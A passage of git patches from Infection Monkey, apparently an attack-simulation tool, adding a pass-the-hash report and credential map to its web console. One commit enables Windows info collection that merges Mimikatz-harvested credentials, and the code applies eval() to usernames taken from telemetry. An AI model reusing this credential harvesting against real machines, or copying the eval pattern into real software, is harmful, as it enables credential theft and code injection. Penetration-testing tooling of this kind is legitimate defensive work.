}); }; @@ -71,7 +70,6 @@ class PassTheHashMapPageComponent extends AuthComponent {
-
{this.state.report_html}
); From 6019432a2b980f63615001eb8a250774fbc27c0e Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 22 May 2018 03:00:06 -0700 Subject: [PATCH 079/183] pth report is now shown also in the website --- monkey_island/cc/app.py | 2 ++ monkey_island/cc/resources/pthreport.py | 21 ++++++++++++++++++- monkey_island/cc/resources/pthreporthtml.py | 21 +++++++++++++++++++ .../components/pages/PassTheHashMapPage.js | 8 +++++++ 4 files changed, 51 insertions(+), 1 deletion(-) create mode 100644 monkey_island/cc/resources/pthreporthtml.py diff --git a/monkey_island/cc/app.py b/monkey_island/cc/app.py index 981cf3de1..33d1bb53b 100644 --- a/monkey_island/cc/app.py +++ b/monkey_island/cc/app.py @@ -19,6 +19,7 @@ from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_download import MonkeyDownload from cc.resources.netmap import NetMap from cc.resources.pthmap import PthMap +from cc.resources.pthreporthtml import PthReportHtml from cc.resources.node import Node from cc.resources.report import Report from cc.resources.root import Root @@ -106,5 +107,6 @@ def init_app(mongo_url): api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(PthMap, '/api/pthmap', '/api/pthmap/') + api.add_resource(PthReportHtml, '/api/pthreport', '/api/pthreport/') return app diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index 313ef6a20..b89a8b078 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -1228,4 +1228,23 @@ def main(): print """""" if __name__ == "__main__": - main() \ No newline at end of file + main() + +from cStringIO import StringIO +import sys + +class Capturing(list): + def __enter__(self): + self._stdout = sys.stdout + sys.stdout = self._stringio = StringIO() + return self + def __exit__(self, *args): + self.extend(self._stringio.getvalue().splitlines()) + del self._stringio # free up some memory + sys.stdout = self._stdout + +def get_report_html(): + with Capturing() as output: + main() + + return "\n".join(output) \ No newline at end of file diff --git a/monkey_island/cc/resources/pthreporthtml.py b/monkey_island/cc/resources/pthreporthtml.py new file mode 100644 index 000000000..8aa10870f --- /dev/null +++ b/monkey_island/cc/resources/pthreporthtml.py @@ -0,0 +1,21 @@ +import hashlib +import binascii +import copy +import flask_restful +from pthreport import PassTheHashReport, Machine, get_report_html + +from cc.auth import jwt_required +from cc.services.edge import EdgeService +from cc.services.node import NodeService +from cc.database import mongo + +class PthReportHtml(flask_restful.Resource): + @jwt_required() + def get(self, **kw): + pth = PassTheHashReport() + html = get_report_html() + + return \ + { + "html": html + } diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index 26ce71cc9..2ac43f094 100644 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -29,6 +29,7 @@ class PassTheHashMapPageComponent extends AuthComponent { super(props); this.state = { graph: {nodes: [], edges: []}, + report: "", selected: null, selectedType: null, killPressed: false, @@ -58,6 +59,12 @@ class PassTheHashMapPageComponent extends AuthComponent { this.setState({graph: res}); this.props.onStatusChange(); }); + this.authFetch('/api/pthreport') + .then(res => res.json()) + .then(res => { + this.setState({report: res.html}); + this.props.onStatusChange(); + }); }; render() { @@ -70,6 +77,7 @@ class PassTheHashMapPageComponent extends AuthComponent {
+
); From 800e337f6f0e4fc3f9d25c5dff417ae3dc736a33 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Thu, 19 Jul 2018 18:35:37 +0300 Subject: [PATCH 080/183] Add credential map to report. currently uses fake static data --- .../cc/ui/src/components/map/MapOptions.js | 35 ++- .../map/preview-pane/InfMapPreviewPane.js | 247 +++++++++++++++++ .../map/preview-pane/PreviewPane.js | 252 +----------------- .../map/preview-pane/PthPreviewPane.js | 63 +++++ .../cc/ui/src/components/pages/MapPage.js | 4 +- .../components/pages/PassTheHashMapPage.js | 94 +++---- .../cc/ui/src/components/pages/ReportPage.js | 46 ++++ .../cc/ui/src/images/nodes/pth/critical.png | Bin 0 -> 20067 bytes .../cc/ui/src/images/nodes/pth/normal.png | Bin 0 -> 19466 bytes 9 files changed, 436 insertions(+), 305 deletions(-) create mode 100644 monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js create mode 100644 monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js create mode 100644 monkey_island/cc/ui/src/images/nodes/pth/critical.png create mode 100644 monkey_island/cc/ui/src/images/nodes/pth/normal.png diff --git a/monkey_island/cc/ui/src/components/map/MapOptions.js b/monkey_island/cc/ui/src/components/map/MapOptions.js index 701adcf29..f6946ea31 100644 --- a/monkey_island/cc/ui/src/components/map/MapOptions.js +++ b/monkey_island/cc/ui/src/components/map/MapOptions.js @@ -1,4 +1,4 @@ -let groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island', +const groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island', 'island_monkey_linux', 'island_monkey_linux_running', 'island_monkey_windows', 'island_monkey_windows_running', 'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux', 'monkey_linux_running', 'monkey_windows', 'monkey_windows_running']; @@ -16,7 +16,22 @@ let getGroupsOptions = () => { return groupOptions; }; -export const options = { +const groupNamesPth = ['normal', 'critical']; + +let getGroupsOptionsPth = () => { + let groupOptions = {}; + for (let groupName of groupNamesPth) { + groupOptions[groupName] = + { + shape: 'image', + size: 50, + image: require('../../images/nodes/pth/' + groupName + '.png') + }; + } + return groupOptions; +}; + +export const basic_options = { autoResize: true, layout: { improvedLayout: false @@ -33,10 +48,22 @@ export const options = { avoidOverlap: 0.5 }, minVelocity: 0.75 - }, - groups: getGroupsOptions() + } }; +export const options = (() => { + let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */ + opts.groups = getGroupsOptions(); + return opts; +})(); + +export const optionsPth = (() => { + let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */ + opts.groups = getGroupsOptionsPth(); + opts.physics.barnesHut.gravitationalConstant = -20000; + return opts; +})(); + export function edgeGroupToColor(group) { switch (group) { case 'exploited': diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js b/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js new file mode 100644 index 000000000..e06043c20 --- /dev/null +++ b/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js @@ -0,0 +1,247 @@ +import React from 'react'; +import {Icon} from 'react-fa'; +import Toggle from 'react-toggle'; +import {OverlayTrigger, Tooltip} from 'react-bootstrap'; +import download from 'downloadjs' +import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; + +class InfMapPreviewPaneComponent extends PreviewPaneComponent { + + osRow(asset) { + return ( + + Operating System + {asset.os.charAt(0).toUpperCase() + asset.os.slice(1)} + + ); + } + + ipsRow(asset) { + return ( + + IP Addresses + {asset.ip_addresses.map(val =>
{val}
)} + + ); + } + + servicesRow(asset) { + return ( + + Services + {asset.services.map(val =>
{val}
)} + + ); + } + + accessibleRow(asset) { + return ( + + + Accessible From  + {this.generateToolTip('List of machine which can access this one using a network protocol')} + + {asset.accessible_from_nodes.map(val =>
{val}
)} + + ); + } + + statusRow(asset) { + return ( + + Status + {(asset.dead) ? 'Dead' : 'Alive'} + + ); + } + + forceKill(event, asset) { + let newConfig = asset.config; + newConfig['alive'] = !event.target.checked; + this.authFetch('/api/monkey/' + asset.guid, + { + method: 'PATCH', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({config: newConfig}) + }); + } + + forceKillRow(asset) { + return ( + + + Force Kill  + {this.generateToolTip('If this is on, monkey will die next time it communicates')} + + + this.forceKill(e, asset)}/> + + + + ); + } + + unescapeLog(st) { + return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string. + .replace(/\\n/g, "\n") + .replace(/\\r/g, "\r") + .replace(/\\t/g, "\t") + .replace(/\\b/g, "\b") + .replace(/\\f/g, "\f") + .replace(/\\"/g, '\"') + .replace(/\\'/g, "\'") + .replace(/\\&/g, "\&"); + } + + downloadLog(asset) { + this.authFetch('/api/log?id=' + asset.id) + .then(res => res.json()) + .then(res => { + let timestamp = res['timestamp']; + timestamp = timestamp.substr(0, timestamp.indexOf('.')); + let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log'; + let logContent = this.unescapeLog(res['log']); + download(logContent, filename, 'text/plain'); + }); + + } + + downloadLogRow(asset) { + return ( + + + Download Log + + + this.downloadLog(asset)}>Download + + + ); + } + + exploitsTimeline(asset) { + if (asset.exploits.length === 0) { + return (
); + } + + return ( +
+

+ Exploit Timeline  + {this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')} +

+
    + {asset.exploits.map(exploit => +
  • +
    +
    {new Date(exploit.timestamp).toLocaleString()}
    +
    {exploit.origin}
    +
    {exploit.exploiter}
    +
  • + )} +
+
+ ) + } + + assetInfo(asset) { + return ( +
+ + + {this.osRow(asset)} + {this.ipsRow(asset)} + {this.servicesRow(asset)} + {this.accessibleRow(asset)} + +
+ {this.exploitsTimeline(asset)} +
+ ); + } + + infectedAssetInfo(asset) { + return ( +
+ + + {this.osRow(asset)} + {this.statusRow(asset)} + {this.ipsRow(asset)} + {this.servicesRow(asset)} + {this.accessibleRow(asset)} + {this.forceKillRow(asset)} + {this.downloadLogRow(asset)} + +
+ {this.exploitsTimeline(asset)} +
+ ); + } + + scanInfo(edge) { + return ( +
+ + + + + + + + + + + + + + + +
Operating System{edge.os.type}
IP Address{edge.ip_address}
Services{edge.services.map(val =>
{val}
)}
+ { + (edge.exploits.length === 0) ? + '' : +
+

Timeline

+
    + {edge.exploits.map(exploit => +
  • +
    +
    {new Date(exploit.timestamp).toLocaleString()}
    +
    {exploit.origin}
    +
    {exploit.exploiter}
    +
  • + )} +
+
+ } +
+ ); + } + + islandEdgeInfo() { + return ( +
+
+ ); + } + + getInfoByProps() { + switch (this.props.type) { + case 'edge': + return this.scanInfo(this.props.item); + case 'node': + return this.props.item.group.includes('monkey', 'manual') ? + this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item); + case 'island_edge': + return this.islandEdgeInfo(); + } + + return null; + } +} + +export default InfMapPreviewPaneComponent; diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js index 64b228332..c38907eea 100644 --- a/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js +++ b/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js @@ -15,251 +15,25 @@ class PreviewPaneComponent extends AuthComponent { ); } - osRow(asset) { - return ( - - Operating System - {asset.os.charAt(0).toUpperCase() + asset.os.slice(1)} - - ); + // This should be overridden + getInfoByProps() { + return null; } - ipsRow(asset) { - return ( - - IP Addresses - {asset.ip_addresses.map(val =>
{val}
)} - - ); - } - - servicesRow(asset) { - return ( - - Services - {asset.services.map(val =>
{val}
)} - - ); - } - - accessibleRow(asset) { - return ( - - - Accessible From  - {this.generateToolTip('List of machine which can access this one using a network protocol')} - - {asset.accessible_from_nodes.map(val =>
{val}
)} - - ); - } - - statusRow(asset) { - return ( - - Status - {(asset.dead) ? 'Dead' : 'Alive'} - - ); - } - - forceKill(event, asset) { - let newConfig = asset.config; - newConfig['alive'] = !event.target.checked; - this.authFetch('/api/monkey/' + asset.guid, - { - method: 'PATCH', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify({config: newConfig}) - }); - } - - forceKillRow(asset) { - return ( - - - Force Kill  - {this.generateToolTip('If this is on, monkey will die next time it communicates')} - - - this.forceKill(e, asset)}/> - - - - ); - } - - unescapeLog(st) { - return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string. - .replace(/\\n/g, "\n") - .replace(/\\r/g, "\r") - .replace(/\\t/g, "\t") - .replace(/\\b/g, "\b") - .replace(/\\f/g, "\f") - .replace(/\\"/g, '\"') - .replace(/\\'/g, "\'") - .replace(/\\&/g, "\&"); - } - - downloadLog(asset) { - this.authFetch('/api/log?id=' + asset.id) - .then(res => res.json()) - .then(res => { - let timestamp = res['timestamp']; - timestamp = timestamp.substr(0, timestamp.indexOf('.')); - let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log'; - let logContent = this.unescapeLog(res['log']); - download(logContent, filename, 'text/plain'); - }); - - } - - downloadLogRow(asset) { - return ( - - - Download Log - - - this.downloadLog(asset)}>Download - - - ); - } - - exploitsTimeline(asset) { - if (asset.exploits.length === 0) { - return (
); + getLabelByProps() { + if (!this.props.item) { + return ''; + } else if (this.props.item.hasOwnProperty('label')) { + return this.props.item['label']; + } else if (this.props.item.hasOwnProperty('_label')) { + return this.props.item['_label']; } - - return ( -
-

- Exploit Timeline  - {this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')} -

-
    - {asset.exploits.map(exploit => -
  • -
    -
    {new Date(exploit.timestamp).toLocaleString()}
    -
    {exploit.origin}
    -
    {exploit.exploiter}
    -
  • - )} -
-
- ) - } - - assetInfo(asset) { - return ( -
- - - {this.osRow(asset)} - {this.ipsRow(asset)} - {this.servicesRow(asset)} - {this.accessibleRow(asset)} - -
- {this.exploitsTimeline(asset)} -
- ); - } - - infectedAssetInfo(asset) { - return ( -
- - - {this.osRow(asset)} - {this.statusRow(asset)} - {this.ipsRow(asset)} - {this.servicesRow(asset)} - {this.accessibleRow(asset)} - {this.forceKillRow(asset)} - {this.downloadLogRow(asset)} - -
- {this.exploitsTimeline(asset)} -
- ); - } - - scanInfo(edge) { - return ( -
- - - - - - - - - - - - - - - -
Operating System{edge.os.type}
IP Address{edge.ip_address}
Services{edge.services.map(val =>
{val}
)}
- { - (edge.exploits.length === 0) ? - '' : -
-

Timeline

-
    - {edge.exploits.map(exploit => -
  • -
    -
    {new Date(exploit.timestamp).toLocaleString()}
    -
    {exploit.origin}
    -
    {exploit.exploiter}
    -
  • - )} -
-
- } -
- ); - } - - islandEdgeInfo() { - return ( -
-
- ); + return ''; } render() { - let info = null; - switch (this.props.type) { - case 'edge': - info = this.scanInfo(this.props.item); - break; - case 'node': - info = this.props.item.group.includes('monkey', 'manual') ? - this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item); - break; - case 'island_edge': - info = this.islandEdgeInfo(); - break; - } - - let label = ''; - if (!this.props.item) { - label = ''; - } else if (this.props.item.hasOwnProperty('label')) { - label = this.props.item['label']; - } else if (this.props.item.hasOwnProperty('_label')) { - label = this.props.item['_label']; - } + let info = this.getInfoByProps(); + let label = this.getLabelByProps(); return (
diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js b/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js new file mode 100644 index 000000000..f9a5ae1bb --- /dev/null +++ b/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js @@ -0,0 +1,63 @@ +import React from 'react'; +import {Icon} from 'react-fa'; +import Toggle from 'react-toggle'; +import {OverlayTrigger, Tooltip} from 'react-bootstrap'; +import download from 'downloadjs' +import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; + +class PthPreviewPaneComponent extends PreviewPaneComponent { + nodeInfo(asset) { + return ( +
+ + + + + + + + + + + + + + + + + + + +
Hostname{asset.hostname}
IP Addresses{asset.ips.map(val =>
{val}
)}
Services{asset.services.map(val =>
{val}
)}
Compromised Users{asset.users.map(val =>
{val}
)}
+
+ ); + } + + edgeInfo(edge) { + return ( +
+ + + + + + + +
Compromised Users{edge.users.map(val =>
{val}
)}
+
+ ); + } + + getInfoByProps() { + switch (this.props.type) { + case 'edge': + return this.edgeInfo(this.props.item); + case 'node': + return this.nodeInfo(this.props.item); + } + + return null; + } +} + +export default PthPreviewPaneComponent; diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js index 4a54aeb8c..00c0cba3c 100644 --- a/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -2,7 +2,7 @@ import React from 'react'; import {Col} from 'react-bootstrap'; import {Link} from 'react-router-dom'; import {Icon} from 'react-fa'; -import PreviewPane from 'components/map/preview-pane/PreviewPane'; +import InfMapPreviewPaneComponent from 'components/map/preview-pane/InfMapPreviewPane'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {ModalContainer, ModalDialog} from 'react-modal-dialog'; import {options, edgeGroupToColor} from 'components/map/MapOptions'; @@ -190,7 +190,7 @@ class MapPageComponent extends AuthComponent {
: ''} - +
); diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index 2ac43f094..8c7ded49b 100644 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -1,83 +1,57 @@ import React from 'react'; -import {Col} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import AuthComponent from '../AuthComponent'; -import Graph from 'react-graph-vis'; - -const options = { - autoResize: true, - layout: { - improvedLayout: false - }, - edges: { - width: 2, - smooth: { - type: 'curvedCW' - } - }, - physics: { - barnesHut: { - gravitationalConstant: -120000, - avoidOverlap: 0.5 - }, - minVelocity: 0.75 - } -}; +import {optionsPth, edgeGroupToColorPth, options} from '../map/MapOptions'; +import PreviewPane from "../map/preview-pane/PreviewPane"; +import {Col} from "react-bootstrap"; +import {Link} from 'react-router-dom'; +import {Icon} from 'react-fa'; +import PthPreviewPaneComponent from "../map/preview-pane/PthPreviewPane"; class PassTheHashMapPageComponent extends AuthComponent { constructor(props) { super(props); this.state = { - graph: {nodes: [], edges: []}, - report: "", + graph: props.graph, selected: null, - selectedType: null, - killPressed: false, - showKillDialog: false, - telemetry: [], - telemetryLastTimestamp: null + selectedType: null }; } - componentDidMount() { - this.updateMapFromServer(); - this.interval = setInterval(this.timedEvents, 1000); - } - - componentWillUnmount() { - clearInterval(this.interval); - } - - timedEvents = () => { - this.updateMapFromServer(); + events = { + select: event => this.selectionChanged(event) }; - updateMapFromServer = () => { - this.authFetch('/api/pthmap') - .then(res => res.json()) - .then(res => { - this.setState({graph: res}); - this.props.onStatusChange(); - }); - this.authFetch('/api/pthreport') - .then(res => res.json()) - .then(res => { - this.setState({report: res.html}); - this.props.onStatusChange(); - }); - }; + selectionChanged(event) { + if (event.nodes.length === 1) { + let displayedNode = this.state.graph.nodes.find( + function (node) { + return node['id'] === event.nodes[0]; + }); + this.setState({selected: displayedNode, selectedType: 'node'}) + } + else if (event.edges.length === 1) { + let displayedEdge = this.state.graph.edges.find( + function (edge) { + return edge['id'] === event.edges[0]; + }); + this.setState({selected: displayedEdge, selectedType: 'edge'}); + } + else { + this.setState({selected: null, selectedType: null}); + } + } render() { return (
- -

Pass The Hash Map

+ +
+ +
-
- -
-
+
); diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index bec4f3625..adb024c72 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -8,6 +8,7 @@ import StolenPasswords from 'components/report-components/StolenPasswords'; import CollapsibleWellComponent from 'components/report-components/CollapsibleWell'; import {Line} from 'rc-progress'; import AuthComponent from '../AuthComponent'; +import PassTheHashMapPageComponent from "./PassTheHashMapPage"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); let monkeyLogoImage = require('../../images/monkey-icon.svg'); @@ -129,6 +130,7 @@ class ReportPageComponent extends AuthComponent { {this.generateReportFindingsSection()} {this.generateReportRecommendationsSection()} {this.generateReportGlanceSection()} + {this.generateReportPthSection()} {this.generateReportFooter()}
@@ -420,6 +422,50 @@ class ReportPageComponent extends AuthComponent { ); } + generateReportPthSection() { + // TODO: remove this and use updateMapFromSerever to get actual map data. + const my_map = { + nodes: [ + {id: '1', label: 'MYPC-1', group: 'normal', users: ['MYPC-2\\user1', 'Dom\\user2'], ips: ['192.168.0.1'], services: ["DC", "SQL"], 'hostname': 'aaa1'}, + {id: 2, label: 'MYPC-2', group: 'critical', users: ['MYPC-2\\user1', 'Dom\\user2'], ips: ['192.168.0.1'], services: ["DC", "SQL"], 'hostname': 'aaa2'}, + {id: 3, label: 'MYPC-3', group: 'normal', users: ['MYPC-3\\user1', 'Dom\\user3'], ips: ['192.168.0.2'], services: ["DC", "SQL"], 'hostname': 'aaa3'}, + {id: 4, label: 'MYPC-4', group: 'critical', users: ['MYPC-4\\user1', 'Dom\\user4'], ips: ['192.168.0.3', '192.168.0.4'], services: ["DC", "SQL"], 'hostname': 'aaa4'}, + {id: 5, label: 'MYPC-5', group: 'normal', users: ['MYPC-5\\user1', 'Dom\\user5'], ips: ['192.168.0.1'], services: [], 'hostname': 'aaa5'}, + {id: 6, label: 'MYPC-6', group: 'critical', users: ['MYPC-6\\user1', 'Dom\\user6'], ips: ['192.168.0.1'], services: ["DC"], 'hostname': 'aaa6'}, + {id: 7, label: 'MYPC-7', group: 'critical', users: ['MYPC-7\\user1', 'Dom\\user7'], ips: ['192.168.0.1'], services: ["DC", "SQL"], 'hostname': 'aaa7'} + ], + edges: [ + {id: 10, from: '1', to: 2, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla0'}, + {id: 11, from: '1', to: 3, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla1'}, + {id: 12, from: '1', to: 4, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla2'}, + {id: 13, from: 5, to: 6, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla3'}, + {id: 14, from: 6, to: 7, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla4'}, + {id: 15, from: 6, to: 5, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla5'}, + ] + + }; + return ( +
+

+ Pass The Hash !!!!!TODO: change this!!!!!!!! +

+
+ +
+
+ TODO: put relevant tables and stuff here... +
+
+ TODO: put relevant tables and stuff here... +
+
+ TODO: put relevant tables and stuff here... +
+
+
+ ); + } + generateReportFooter() { return ( ); @@ -488,7 +486,7 @@ class ReportPageComponent extends AuthComponent { Credential Map
- +

From af3b5665ce6f697edcfb681577989f936675f2f8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 24 Jul 2018 20:49:57 +0300 Subject: [PATCH 088/183] * some logs and un-commenting for testing. --- infection_monkey/system_info/windows_info_collector.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index d6c852801..f6d85355c 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -139,16 +139,18 @@ class WindowsInfoCollector(InfoCollector): self.get_hostname() self.get_process_list() self.get_network_info() - #self.get_azure_info() + self.get_azure_info() - #self.get_wmi_info() + self.get_wmi_info() + LOG.debug('finished get_wmi_info') #self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") self.get_installed_packages() mimikatz_collector = MimikatzCollector() mimikatz_info = mimikatz_collector.get_logon_info() if mimikatz_info: - self.info["credentials"].update(mimikatz_info) + if "credentials" in self.info: + self.info["credentials"].update(mimikatz_info) self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() return self.info From cdfd6284ee51fbe260a872dda4382804c77b7c92 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 1 Aug 2018 13:07:18 +0300 Subject: [PATCH 089/183] * Added information about what info gathered to the report's issues section --- monkey_island/cc/resources/pthreport.py | 2 +- monkey_island/cc/services/pth_report.py | 51 +++++++++++++++---- monkey_island/cc/services/pth_report_utils.py | 19 +++---- .../cc/ui/src/components/pages/ReportPage.js | 30 ++++++++++- 4 files changed, 80 insertions(+), 22 deletions(-) diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index 31233aa1e..7c4046694 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -3,7 +3,7 @@ import flask_restful from cc.auth import jwt_required from cc.services.pth_report import PTHReportService -__author__ = "itay.mizeretz" +__author__ = "maor.rayzin" class PTHReport(flask_restful.Resource): diff --git a/monkey_island/cc/services/pth_report.py b/monkey_island/cc/services/pth_report.py index 45a6e3668..7a615db2d 100644 --- a/monkey_island/cc/services/pth_report.py +++ b/monkey_island/cc/services/pth_report.py @@ -18,7 +18,8 @@ class PTHReportService(object): continue for sid in pth.GetSidsBySecret(secret): usernames_per_sid_list.append(pth.GetUsernameBySid(sid)) - usernames_lists.append(usernames_per_sid_list) + + usernames_lists.append({'cred_group': usernames_per_sid_list}) return usernames_lists @@ -99,24 +100,49 @@ class PTHReportService(object): 'ip': m.GetIp(), 'hostname': m.GetHostName(), 'domain': m.GetDomainName(), - 'services_names': m.GetNonCritialServers(), + 'services_names': [], 'user_count': count, 'threatening_users': threatening_users_attackers_dict } strong_users_non_crit_list.append(machine) return strong_users_non_crit_list + @staticmethod + def get_duplicated_passwords_issues(pth, password_groups): + issues = [] + issues_dict = {} + for group in password_groups: + for username in group['cred_group']: + sid = list(pth.GetSidsByUsername(username.split('\\')[1])) + machine_info = pth.GetSidInfo(sid[0]) + issues.append( + { + 'type': 'shared_password', + 'machine': machine_info.get('hostname').split('.')[0], + 'shared_with': [x for x in group['cred_group'] if x != username], + 'username': username + } + ) + + for issue in issues: + machine = issue['machine'] + if machine not in issues_dict: + issues_dict[machine] = [] + issues_dict[machine].append(issue) + + return issues_dict + @staticmethod def generate_map_nodes(pth): nodes_list = [] for node_id in pth.vertices: machine = Machine(node_id) node = { - "id": str(machine.get_monkey_id()), + "id": str(node_id), "label": '{0} : {1}'.format(machine.GetHostName(), machine.GetIp()), 'group': 'critical' if machine.IsCriticalServer() else 'normal', 'users': list(machine.GetCachedUsernames()), - 'ips': machine.GetIp(), + 'ips': [machine.GetIp()], 'services': machine.GetCriticalServicesInstalled(), 'hostname': machine.GetHostName() } @@ -127,17 +153,23 @@ class PTHReportService(object): @staticmethod def get_report(): pth = PassTheHashReport() + same_password = PTHReportService.get_duplicated_password_nodes(pth) + local_admin_shared = PTHReportService.get_shared_local_admins_nodes(pth) + strong_users_on_crit_services = PTHReportService.get_strong_users_on_crit_services(pth) + strong_users_on_non_crit_services = PTHReportService.get_strong_users_on_non_crit_services(pth) + issues = PTHReportService.get_duplicated_passwords_issues(pth, same_password) report = \ { 'report_info': { - 'same_password': PTHReportService.get_duplicated_password_nodes(pth), - 'local_admin_shared': PTHReportService.get_shared_local_admins_nodes(pth), - 'strong_users_on_crit_services': PTHReportService.get_strong_users_on_crit_services(pth), - 'strong_users_on_non_crit_services': PTHReportService.get_strong_users_on_non_crit_services(pth) + 'same_password': same_password, + 'local_admin_shared': local_admin_shared, + 'strong_users_on_crit_services': strong_users_on_crit_services, + 'strong_users_on_non_crit_services': strong_users_on_non_crit_services, + 'pth_issues': issues }, - 'map': + 'pthmap': { 'nodes': PTHReportService.generate_map_nodes(pth), 'edges': pth.edges @@ -318,4 +350,3 @@ class PTHReportService(object): # for m in pth.GetAttackersBySecret(secret): # print """
  • {hostname}
  • """.format(ip=m.GetIp(), hostname=m.GetHostName()) # print """""" - diff --git a/monkey_island/cc/services/pth_report_utils.py b/monkey_island/cc/services/pth_report_utils.py index 06c40f023..b4839f852 100644 --- a/monkey_island/cc/services/pth_report_utils.py +++ b/monkey_island/cc/services/pth_report_utils.py @@ -212,7 +212,8 @@ class Machine(object): "Username": eval(user.get("Name")), "Disabled": user.get("Disabled") == "true", "PasswordRequired": user.get("PasswordRequired") == "true", - "PasswordExpires": user.get("PasswordExpires") == "true", } + "PasswordExpires": user.get("PasswordExpires") == "true", + 'hostname': doc.get('data').get('hostname'), } if not self.IsDomainController(): for dc in self.GetDomainControllers(): @@ -555,6 +556,7 @@ class Machine(object): return names + class PassTheHashReport(object): # _instance = None # def __new__(class_, *args, **kwargs): @@ -570,7 +572,7 @@ class PassTheHashReport(object): self.edges = self.get_edges_by_sid() # Useful for non-cached domain users #self.edges |= self.GetEdgesBySamHash() # This will add edges based only on password hash without caring about username - @cache + def GetAllMachines(self): cur = mongo.db.telemetry.find({"telem_type": "system_info_collection"}) @@ -610,13 +612,12 @@ class PassTheHashReport(object): attacker_monkey = NodeService.get_monkey_by_guid(attacker) victim_monkey = NodeService.get_monkey_by_guid(victim) - attacker_label = NodeService.get_node_label(attacker_monkey) - victim_label = NodeService.get_node_label(victim_monkey) + attacker_label = NodeService.get_monkey_label(attacker_monkey) + victim_label = NodeService.get_monkey_label(victim_monkey) RIGHT_ARROW = u"\u2192" return "%s %s %s" % (attacker_label, RIGHT_ARROW, victim_label) - @cache def get_edges_by_sid(self): edges_list = [] @@ -637,7 +638,7 @@ class PassTheHashReport(object): 'to': victim, 'users': relevant_users_list, '_label': PassTheHashReport.__get_edge_label(attacker, victim), - 'id': uuid.uuid4() + 'id': str(uuid.uuid4()) }) return edges_list @@ -858,9 +859,9 @@ class PassTheHashReport(object): attackers = set() - for atck, vic, _ in self.edges: - if vic == victim: - attackers.add(atck) + for edge in self.edges: + if edge.get('to', None) == victim: + attackers.add(edge.get('from', None)) return set(map(Machine, attackers)) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js 